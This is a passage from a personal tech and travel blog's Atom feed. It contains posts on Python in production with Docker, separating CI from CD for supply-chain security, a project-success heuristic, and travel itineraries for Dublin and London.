</span></span><span style="display:flex;"><span><span style="color:#719e07">COPY</span> --chown<span style="color:#719e07">=</span>appuser:appuser --from<span style="color:#719e07">=</span>previous-step /app /app
</span></span><span style="display:flex;"><span><span style="color:#719e07">USER</span><span style="color:#2aa198"> appuser</span>
</span></span><span style="display:flex;"><span><span style="color:#586e75"># Rest of the build steps</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">ENTRYPOINT</span> ...</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><h2 id="updates-after-going-viral-on-reddit--hacker-news">Updates after going viral on Reddit &amp; Hacker News</h2>
<ul>
<li>This article went viral on   
    
    
<a href="https://www.reddit.com/r/Python/comments/1k3fase/notes_running_python_in_production/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">r/python</a> sub-reddit. It is a good discussion about various points mentioned in this article.</li>
<li>Further, it was given a   
    
    
<a href="https://news.ycombinator.com/item?id=43734342&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">second-chance</a> on Hacker News, because moderators liked it so much and it ended up on the   
    
    
<a href="https://news.ycombinator.com/item?id=43734342&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Hacker News front page</a>. There is some interesting discussion there as well.</li>
<li>This article has been featured in   
    
    
<a href="https://tldr.tech/tech/2025-04-23?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">TLDR Tech</a>,   
    
    
<a href="https://pythondigest.ru/issue/593/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Russian Python Digest</a>,   
    
    
<a href="https://pycoders.com/issues/679?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Pycoders Weekly</a>, and   
    
    
<a href="https://www.bigdatanewsweekly.com/p/build-a-rag-powered-research-paper-assistant?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Big Data News Weekly</a></li>
</ul>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/devops" term="devops" label="devops"/><category scheme="https://ashishb.net/tag/python" term="python" label="python"/></entry><entry><title type="html">Two days in Dublin, Ireland</title><link href="https://ashishb.net/travel/dublin-ireland/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/warsaw-poland/?utm_source=atom_feed" rel="related" type="text/html" title="A short stay at Warsaw, Poland"/><link href="https://ashishb.net/travel/vilnius-lithuania/?utm_source=atom_feed" rel="related" type="text/html" title="Two days in Vilnius, Lithuania"/><link href="https://ashishb.net/travel/riga-latvia/?utm_source=atom_feed" rel="related" type="text/html" title="Two days in Riga, Latvia"/><link href="https://ashishb.net/travel/tallinn-estonia/?utm_source=atom_feed" rel="related" type="text/html" title="Two days in Tallinn, Estonia"/><link href="https://ashishb.net/travel/helsinki-finland/?utm_source=atom_feed" rel="related" type="text/html" title="Two days in Helsinki, Finland"/><id>https://ashishb.net/travel/dublin-ireland/</id><author><name>Ashish Bhatia</name></author><published>2025-04-12T08:00:51+00:00</published><updated>2025-04-12T08:00:51+00:00</updated><content type="html"><![CDATA[<blockquote>Explore Dublin like a local! Discover iconic landmarks, delve into rich history, and enjoy the vibrant nightlife of this charming, walkable city over two days.</blockquote><p>Dublin is a small city.
Despite its high per-capita GDP, unlike 
<a href="/travel/singapore/">Singapore</a> or 
<a href="/travel/tokyo-japan/">Tokyo</a>, the city feels fairly low-key and more of a middle-affluent country.</p>
<p>The official languages are Gaelic and English. To preserve Gaelic, all laws are officially passed in Gaelic!</p>
<h3 id="day-1">Day 1</h3>
<p>The city of Dublin is not huge.
You can walk everywhere and even skip 
<a href="/travel/public-transport-guide/">public transport</a>.</p>
<p>I would recommend starting with a walking tour that gives you a great idea of the city.
Rick Steve has great   
    
    
<a href="https://www.ricksteves.com/europe/ireland/dublin?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">guides</a> as well.</p>
<p>The Spire which cost almost 5 million Euros to build is visible from almost every part of this city.</p>
<figure>
    
    <a href="images/dublin-spire-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="images/dublin-spire-768x1024.jpg"
         alt="A towering stainless steel spire stands in a cityscape, visible from nearly every part of the city, representing a significant construction investment of nearly 5 Million Euros." width="900"/> </a>
</figure>

<p>The Trinity College campus is open to the public as well.</p>
<figure>
    
    <a href="images/dublin-trinity-college-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="images/dublin-trinity-college-1024x768.jpg"
         alt="A massive green landscape painting with a rocky lake center, surrounded by dense forests" width="900"/> </a>
</figure>

<p>The Dublin library inside the college has a 25 € tour where one can see an 800 AD book   
    
    
<a href="https://en.wikipedia.org/wiki/Book_of_Kells?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Book of Kells</a>.
Check the book   
    
    
<a href="https://digitalcollections.tcd.ie/concern/works/hm50tr726?locale=en&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">online</a> before you go on the tour.</p>
<p>The temple bar is of course fairly famous and hard to miss at night. There&rsquo;s even a   
    
    
<a href="https://www.earthcam.com/world/ireland/dublin/?cam=templebar&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">live cam feed</a> of it.</p>
<figure>
    
    <a href="images/dublin-temple-bar-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="images/dublin-temple-bar-1024x768.jpg"
         alt="Temple Bar" width="900"/> </a>
</figure>

<h2 id="day-2">Day 2</h2>
<p>The city of Dublin is divided into North-south sections by the Liffey River. And there are multiple pedestrian bridges on it.</p>
<figure>
    
    <a href="images/dublin-river-liffey-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="images/dublin-river-liffey-1024x768.jpg"
         alt="River Liffey separates north-south Dublin with multiple pedestrian bridges, near historic landmarks like Dublin Castle." width="900"/> </a>
</figure>

<p>The south side contains historic monuments like Dublin castle.</p>
<figure>
    
    <a href="images/dublin-castle-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="images/dublin-castle-1024x768.jpg"
         alt="Dublin Castle stands surrounded by historic architecture, showcasing its medieval structure and vibrant history, situated in the heart of Dublin." width="900"/> </a>
</figure>

<p>The north side contains the monuments devoted to the Irish struggle for independence against 
<a href="/travel/london">Britain</a> like the   
    
    
<a href="https://www.visitdublin.com/charles-stewart-parnell?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Parnell monument</a> and   
    
    
<a href="https://heritageireland.ie/places-to-visit/garden-of-remembrance/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Garden of Remembrance</a>.</p>
<figure>
    
    <a href="images/dublin-parnell-monument-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="images/dublin-parnell-monument-768x1024.jpg"
         alt="A statue in Dublin stands prominently with intricate detailing, surrounded by a garden dedicated to remembrance, indicating a historical or commemorative significance." width="900"/> </a>
</figure>

<figure>
    
    <a href="images/dublin-garden-of-remembrance-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="images/dublin-garden-of-remembrance-1024x768.jpg"
         alt="Dublin Garden of Remembrance" width="900"/> </a>
</figure>

<p>Note:</p>
<ol>
<li>You can take the 10 € bus 784 from Dublin airport and go from/to Dublin.</li>
<li>Credit cards are widely accepted, so, no cash (Euro) is required. The only exception I noticed was local (intra-city) buses that required Euro coins for tickets.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/europe" term="europe" label="europe"/><category scheme="https://ashishb.net/tag/ireland" term="ireland" label="ireland"/></entry><entry><title type="html">Continuous integration ≠ Continuous delivery</title><link href="https://ashishb.net/tech/ci-is-not-cd/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/end-to-end-testing-mobile-apps/?utm_source=atom_feed" rel="related" type="text/html" title="End-to-end testing of mobile apps"/><link href="https://ashishb.net/programming/faster-testing-iterations-with-circleci/?utm_source=atom_feed" rel="related" type="text/html" title="Test changes to CircleCI config locally"/><link href="https://ashishb.net/programming/dotfiles-ci/?utm_source=atom_feed" rel="related" type="text/html" title="Keep your dotfiles bug-free with Continuous Integration"/><link href="https://ashishb.net/tech/github-stars/?utm_source=atom_feed" rel="related" type="text/html" title="The real lock-in in GitHub is not the code, but the stars"/><link href="https://ashishb.net/tech/google-vs-perplexity/?utm_source=atom_feed" rel="related" type="text/html" title="Google Search is losing to Perplexity"/><id>https://ashishb.net/tech/ci-is-not-cd/</id><author><name>Ashish Bhatia</name></author><published>2025-04-05T09:40:06+00:00</published><updated>2025-04-05T09:40:06+00:00</updated><content type="html"><![CDATA[<blockquote>Discover why separating CI from CD using cloud platforms like AWS or Google Cloud enhances security and efficiency in your software delivery pipeline.</blockquote><p>  
    
    
<a href="https://github.com/ashishb/gabo?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">GitHub Actions</a> (or GitLab CI) is great for Continuous Integration (CI).
However, using it for Continuous Delivery (CD) isn&rsquo;t necessary.
There are downfalls to it.</p>
<p>A CI platform is where all the developers collaborate.
It is where the code is compiled, linted, and tested.
This process requires use of a lot more third-party dependencies than the release process.
The CI platform needs read access to the source code.
It might read-access to more repositories but almost never a write access.</p>
<p>A CD platform requires release related credentials.
It will almost certainly need write access to maintain some release information like branches or tags.
Fewer people need access to this.
Even fewer third-party dependencies are required for this process.</p>
<p>Commingling the two system drastically impacts the security surface.
This is what caused a compromised release of   
    
    
<a href="https://blog.yossarian.net/2024/12/06/zizmor-ultralytics-injection?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">UltraAnalytics</a>.
The same attack vector was involved in compromise of   
    
    
<a href="https://www.stepsecurity.io/blog/harden-runner-detection-tj-actions-changed-files-action-is-compromised?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">tj-actions/changed-files</a>
which impacted 23,000 GitHub repositories.
And last week, even GitHub&rsquo;s own CodeQL was   
    
    
<a href="https://www.praetorian.com/blog/codeqleaked-public-secrets-exposure-leads-to-supply-chain-attack-on-github-codeql/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">compromised</a> and the attacker had the ability to compromise thousands of repositories using Code QL.</p>
<p>Using a separate release platform drastically reduces the attack surface.</p>
<p>A secondary benefit is efficiency.
Deployment artifacts like 
<a href="/programming/docker-be-careful-about-the-scratch-image/">Docker images</a> can be big.
Especially, for interpreted languages like 
<a href="/programming/using-python-poetry-inside-docker/">Python</a> and TypeScript.</p>
<p>So, here&rsquo;s a better approach for continuous delivery.</p>
<p>Use your cloud platform&rsquo;s native solution like   
    
    
<a href="https://aws.amazon.com/codebuild/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">AWS CodeBuild</a> or   
    
    
<a href="https://cloud.google.com/build?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Google Cloud Build</a>.
These products will be notified whenever your code on the master/main branch changes and
will build the Docker binaries in the cloud.</p>
<p>GitHub won&rsquo;t have access to your cloud deployment.
And AWS/Google Cloud can pull source code from GitHub via GitHub Applications, so, no more pesky secrets that
can potentially leak.</p>
<p>Further, this adds a separation of concerns.
The where and how of the service deployment happens belongs to the cloud platform.
And the source control hosting service need not be aware of it.</p>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/><category scheme="https://ashishb.net/tag/continuous-integration" term="continuous-integration" label="continuous-integration"/></entry><entry><title type="html">World's simplest project success heuristic</title><link href="https://ashishb.net/tech/project-success/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/github-stars/?utm_source=atom_feed" rel="related" type="text/html" title="The real lock-in in GitHub is not the code, but the stars"/><link href="https://ashishb.net/tech/google-vs-perplexity/?utm_source=atom_feed" rel="related" type="text/html" title="Google Search is losing to Perplexity"/><link href="https://ashishb.net/tech/ci-is-not-cd/?utm_source=atom_feed" rel="related" type="text/html" title="Continuous integration ≠ Continuous delivery"/><link href="https://ashishb.net/tech/temu-and-the-chinese-approach/?utm_source=atom_feed" rel="related" type="text/html" title="Temu and the Chinese approach"/><link href="https://ashishb.net/tech/outsourcing/?utm_source=atom_feed" rel="related" type="text/html" title="Why software outsourcing gets a bad reputation?"/><id>https://ashishb.net/tech/project-success/</id><author><name>Ashish Bhatia</name></author><published>2025-03-22T17:00:03+00:00</published><updated>2025-03-22T17:00:03+00:00</updated><content type="html"><![CDATA[<blockquote>Refining questions in projects is key to success. Discover how nuanced inquiries can determine your project&rsquo;s fate and why stagnant questions signal failure.</blockquote><p>Here&rsquo;s a simple project success heuristic.</p>
<p>All projects have some element of uncertainty but over time the questions should become more refined.</p>
<p>If that&rsquo;s not happening, then the project is almost certainly failing.</p>
<p>The company might still succeed via a pivot but the project is unlikely to.</p>
<p>Consider the progression of questions for a consumer (B2C) product.</p>
<ul>
<li>Would anyone use this?</li>
<li>Would a million people use this?</li>
<li>What&rsquo;s the total addressable market?</li>
<li>Would people pay for this?</li>
<li>Is 10$/month too high or can I increase the price further?</li>
</ul>
<p>Notice how questions keep becoming nuanced.</p>
<p>And if they aren&rsquo;t becoming more nuanced, then the fundamental questions have not been answered.
Unless you are really lucky, sooner or later, you will have to answer them.</p>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/></entry><entry><title type="html">London in 5 days</title><link href="https://ashishb.net/travel/london/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/warsaw-poland/?utm_source=atom_feed" rel="related" type="text/html" title="A short stay at Warsaw, Poland"/><link href="https://ashishb.net/travel/vilnius-lithuania/?utm_source=atom_feed" rel="related" type="text/html" title="Two days in Vilnius, Lithuania"/><link href="https://ashishb.net/travel/riga-latvia/?utm_source=atom_feed" rel="related" type="text/html" title="Two days in Riga, Latvia"/><link href="https://ashishb.net/travel/tallinn-estonia/?utm_source=atom_feed" rel="related" type="text/html" title="Two days in Tallinn, Estonia"/><link href="https://ashishb.net/travel/helsinki-finland/?utm_source=atom_feed" rel="related" type="text/html" title="Two days in Helsinki, Finland"/><id>https://ashishb.net/travel/london/</id><author><name>Ashish Bhatia</name></author><published>2025-03-15T17:00:03+00:00</published><updated>2025-03-15T17:00:03+00:00</updated><content type="html"><![CDATA[<blockquote>Ultimate guide to spending 5 days in London. This jam packet itinerary is not for the faint-hearted.</blockquote><h3 id="day-1---west-minster">Day 1 - West Minster</h3>
<p>Start the day with a   
    
    
<a href="https://www.neweuropetours.eu/london-walking-tours/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">walking tour</a> that gives you a nice history &amp; geography of the city of London.</p>
<p>Many of the royal palaces and crown-related buildings are in the city of &ldquo;Westminster&rdquo; which is next door to the City of London.</p>
<figure>
    
    <a href="images/london-change-of-guards-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="images/london-change-of-guards-1024x768.jpg"
         alt="A traditional changing of the guard ceremony, featuring guards in red uniforms and bearskin hats, takes place outside an historic building in Westminster, London." width="900"/> </a>
</figure>

<figure>
    
    <a href="images/london-big-ben-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="images/london-big-ben-768x1024.jpg"
         alt="Big Ben in London" width="900"/> </a>
</figure>

<figure>
    
    <a href="images/london-eye-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="images/london-eye-1024x768.jpg"
         alt="London Eye" width="900"/> </a>
</figure>

<p>Then head to the British Museum. Like most government-owned museums, it is free to access. However, I would recommend booking a   
    
    
<a href="https://www.britishmuseum.org/visit?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">reservation</a> in advance.
Rick Steves has a nice   
    
    
<a href="https://www.ricksteves.com/watch-read-listen/audio/audio-tours/london?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">audio guide</a> on touring the British Museum that I would recommend.</p>
<figure>
    
    <a href="images/british-museum-rossetta-stone-769x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="images/british-museum-rossetta-stone-769x1024.jpg"
         alt="View of the Rosetta Stone displayed in the British Museum, London, featuring its distinct ancient script carvings. The stone is encased in a protective glass display for visitors." width="900"/> </a>
</figure>

<figure>
    
    <a href="images/british-museum-mummy-3400bc-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="images/british-museum-mummy-3400bc-1024x768.jpg"
         alt="Mummy at British Museum" width="900"/> </a>
</figure>

<h2 id="day-2---towards-city-of-london">Day 2 - Towards City of London</h2>
<p>Start the day with the   
    
    
<a href="https://www.iwm.org.uk/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Imperial War Museum (London)</a>. It isn&rsquo;t very popular, so, you can just show up without reservation. I don&rsquo;t think it is particularly great, especially, if you have seen the museums focused on the world wars elsewhere but worth a few hours of visit, if you are interested.</p>
<figure>
    
    <a href="images/london-imperial-war-museums-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="images/london-imperial-war-museums-768x1024.jpg"
         alt="London Imperial War Museum" width="900"/> </a>
</figure>

<p>Back to the City of London, start with   
    
    
<a href="https://stclementdanesraf.org/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">St Clement Danes Church</a>, first built about 1000 years ago and then destroyed and rebuilt several times. It is maintained by the UK&rsquo;s Royal Air Force.</p>
<p>Another church with a fair bit of history including 
<a href="/travel/rome-italy/">Roman</a>-era artifacts is St. Bride&rsquo;s church.</p>
<figure>
    
    <a href="images/london-st-bride-church-769x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="images/london-st-bride-church-769x1024.jpg"
         alt="St. Bride&#39;s Church in London" width="900"/> </a>
</figure>

<figure>
    
    <a href="images/london-st-bride-church-2-769x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="images/london-st-bride-church-2-769x1024.jpg"
         alt="A tall, multi-tiered church spire, St Bride&#39;s Church, stands prominently against a clear sky, showcasing intricate architectural details typical of historical London structures." width="900"/> </a>
</figure>

<h2 id="day-3---city-of-london">Day 3 - City of London</h2>
<figure>
    
    <a href="images/london-entrance-to-city-of-london-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="images/london-entrance-to-city-of-london-768x1024.jpg"
         alt="A passage from a travel blog suggests starting a day in the City of London by visiting the Monument to the Great Fire of London." width="900"/> </a>
</figure>

<p>Start the day with Monument to the   
    
    
<a href="https://en.wikipedia.org/wiki/Great_Fire_of_London?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Great Fire of London</a> in 1666. Like many buildings that were rebuilt after this fire, this monument was also built by Christopher Wren. It costs 6£ (4.5£ student) to enter. I would highly recommend going in and climbing to the top to get a great view of London.</p>
<figure>
    
    <a href="images/london-tower-of-london-769x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="images/london-tower-of-london-769x1024.jpg"
         alt="Tower of London" width="900"/> </a>
</figure>

<p>Then head to the Bank of England museum. You can hold a real gold bar in your hand here. The museum has a pretty good history of money and specifically, paper money.</p>
<figure>
    
    <a href="images/london-bank-of-england-gold-bar-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="images/london-bank-of-england-gold-bar-768x1024.jpg"
         alt="Gold bar on display with reflections seen on its surface" width="900"/> </a>
</figure>

<h2 id="day-4---stonehenge">Day 4 - Stonehenge</h2>
<p>Getting to Stonehenge is expensive and the site is underwhelming. I love archeology and loved visiting it but if you aren&rsquo;t a fan of archeology, feel free to skip Stonehenge.</p>
<p>Getting to Stonehenge requires taking a train to Salisbury. A one-way ticket costs £50 and a round-trip £52.5! So, don&rsquo;t buy one-way by mistake. Further, the restaurants in Salisbury open after 11 AM. So, get food in London before coming here. Also, while you need a bus ticket £19 bus ticket to Stonehenge (or £41.50 with Stonehenge ticket included), you can skip a £25 ticket to Stonehenge and walk the final 1 KM to Stonehenge. Contrary to common belief, the site is free to visit, a ticket is only required for a private bus journey (~1 KM) and visiting the museum afterward. Overall, it takes ~2 hours of public transport to reach Stonehenge. One hour is sufficient for Stonehenge, and another half an hour for the museum would suffice. During the return journey, I stopped at the   
    
    
<a href="https://www.english-heritage.org.uk/visit/places/old-sarum?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Old Sarum</a>, it is quite useless though, I wouldn&rsquo;t recommend stopping here. Also, download the   
    
    
<a href="https://www.english-heritage.org.uk/visit/places/stonehenge/plan-your-visit/stonehenge-audio-guides/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">audio guides</a> in advance to enjoy Stonehenge.</p>
<figure>
    
    <a href="images/london-stonehenge-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="images/london-stonehenge-1024x768.jpg"
         alt="A landscape photo depicting Stonehenge, with large standing stones arranged in a circular formation on a grassy field under a cloudy sky." width="900"/> </a>
</figure>

<h2 id="day-5---british-library--natural-history-museum">Day 5 - British Library &amp; Natural History Museum</h2>
<p>I would highly recommend visiting it for 1-2 hours. Again, use Rick Steves&rsquo;s audio guide to guide you to the best historical artifacts worth seeing.</p>
<figure>
    
    <a href="images/london-british-library-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="images/london-british-library-1024x768.jpg"
         alt="A corridor with large arches and wooden beams in the Natural History Museum, providing an expansive and historic ambiance." width="900"/> </a>
</figure>

<p>The Natural History Museum is good and expansive. So, one can spend hours here. I would recommend starting from the top floor and going downwards.</p>
<figure>
    
    <a href="images/london-natural-history-museum-1-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="images/london-natural-history-museum-1-768x1024.jpg"
         alt="London Natural History Museum, showcasing grand architectural details and large exhibits on display." width="900"/> </a>
</figure>

<p>In the evening, visit the Westminster Abbey, one can visit here for free during the service. This is the church where the coronation happens.</p>
<figure>
    
    <a href="images/london-westminster-abbey-1-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="images/london-westminster-abbey-1-768x1024.jpg"
         alt="Westminster Abbey, a historic church, is renowned for hosting coronation ceremonies" width="900"/> </a>
</figure>

<figure>
    
    <a href="images/london-westminster-abbey-2-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="images/london-westminster-abbey-2-1024x768.jpg"
         alt="Westminster Abbey" width="900"/> </a>
</figure>

<h2 id="notes">Notes</h2>
<ol>
<li>You don&rsquo;t have cash in the city of London. Credit cards are accepted everywhere.</li>
<li>The commute inside London is cheap. Commutes outside involving 
<a href="/travel/public-transport-guide/">trains</a> (e.g. to Stonehenge or Gatwick airport - 12£) are usually expensive. The return tickets are usually much cheaper than buying two one-way train tickets.</li>
<li>One can enter Westminster Abby for free during   
    
    
<a href="https://www.westminster-abbey.org/worship-music/services-times?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">prayer service</a>, otherwise, it is 27£.</li>
<li>For vegetarian (non-Indian) food, I would highly recommend   
    
    
<a href="https://www.itsu.com/menu/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Itsu</a>. The meals are healthy and delicious costing only £6.   
    
    
<a href="https://govindas.london/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Govinda</a>, run by ISKCON, is the best Indian vegetarian food.</li>
<li>All public museums are free. Don&rsquo;t forget to make reservations in advance though.</li>
<li>I skipped the Parliament tour as it is booked in weeks in advance and the other activities felt a better use of my time.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/europe" term="europe" label="europe"/><category scheme="https://ashishb.net/tag/united-kingdom" term="united-kingdom" label="united-kingdom"/></entry><entry><title type="html">It is hard to recommend Python in production</title><link href="https://ashishb.net/programming/python-in-production/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/intellij-wasting-disk-space/?utm_source=atom_feed" rel="related" type="text/html" title="How IntelliJ IDEs waste disk space"/><link href="https://ashishb.net/programming/tools-standalone-binaries/?utm_source=atom_feed" rel="related" type="text/html" title="Ship tools as standalone static binaries"/><link href="https://ashishb.net/programming/using-python-uv-inside-docker/?utm_source=atom_feed" rel="related" type="text/html" title="Best practices for using Python &amp; uv inside Docker"/><link href="https://ashishb.net/programming/flask-vs-fastapi/?utm_source=atom_feed" rel="related" type="text/html" title="FastAPI vs Flask performance comparison"/><link href="https://ashishb.net/programming/python-in-production-2/?utm_source=atom_feed" rel="related" type="text/html" title="How to run Python in production"/><id>https://ashishb.net/programming/python-in-production/</id><author><name>Ashish Bhatia</name></author><published>2025-03-08T04:00:08+00:00</published><updated>2025-03-08T04:00:08+00:00</updated><content type="html"><![CDATA[<blockquote>Explore the challenges of using Python in production, from its resource intensity to maintenance woes. Is it time to rethink Python&rsquo;s place in your stack?</blockquote><table>
  <thead>
      <tr>
          <th></th>
          <th></th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>  
    
    
<a href="https://tldr.tech/webdev/2025-03-10?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener"><img alt="TLDR Newsletter" loading="lazy" src="/img/tldr-newsletter-badge.svg"></a></td>
          <td>  
    
    
<a href="https://python.libhunt.com/newsletter/459?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener"><img alt="Awesome Python Weekly Newsletter" loading="lazy" src="/img/libhunt-badge.svg"></a></td>
      </tr>
  </tbody>
</table>
<p>I started writing in the 2010s when Python 2 was going to be deprecated and Python 3 was too early to support.
Python might have died there and then but was picked up by the data science and machine learning community, so, it survived.
Running Python in production comes with various gotchas though.</p>
<h2 id="python-is-resource-intensive">Python is resource-intensive</h2>
<p>Let&rsquo;s consider a simple Docker image containing &ldquo;Hello World&rdquo;.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Dockerfile
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 2
